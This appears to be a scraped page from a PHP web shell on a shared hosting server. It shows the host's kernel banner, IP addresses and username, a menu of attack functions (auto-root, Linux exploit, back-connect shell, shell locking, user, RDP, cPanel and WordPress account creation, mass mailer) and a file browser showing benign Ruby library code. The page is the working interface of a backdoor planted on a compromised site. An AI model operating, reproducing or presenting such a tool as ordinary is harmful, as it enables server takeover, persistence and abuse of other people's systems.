Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 3.23.101.60
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby33 /
share /
ruby /
syntax_suggest /
capture /
[ HOME SHELL ]
Name
Size
Permission
Action
before_after_keyword_ends.rb
2.16
KB
-rw-r--r--
falling_indent_lines.rb
1.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : falling_indent_lines.rb
# frozen_string_literal: true module SyntaxSuggest module Capture # Shows the context around code provided by "falling" indentation # # If this is the original code lines: # # class OH # def hello # it "foo" do # end # end # # And this is the line that is captured # # it "foo" do # # It will yield its surrounding context: # # class OH # def hello # end # end # # Example: # # FallingIndentLines.new( # block: block, # code_lines: @code_lines # ).call do |line| # @lines_to_output << line # end # class FallingIndentLines def initialize(code_lines:, block:) @lines = nil @scanner = ScanHistory.new(code_lines: code_lines, block: block) @original_indent = block.current_indent end def call(&yieldable) last_indent_up = @original_indent last_indent_down = @original_indent @scanner.commit_if_changed @scanner.scan( up: ->(line, _, _) { next true if line.empty? if line.indent < last_indent_up yieldable.call(line) last_indent_up = line.indent end true }, down: ->(line, _, _) { next true if line.empty? if line.indent < last_indent_down yieldable.call(line) last_indent_down = line.indent end true } ) @scanner.stash_changes end end end end
Close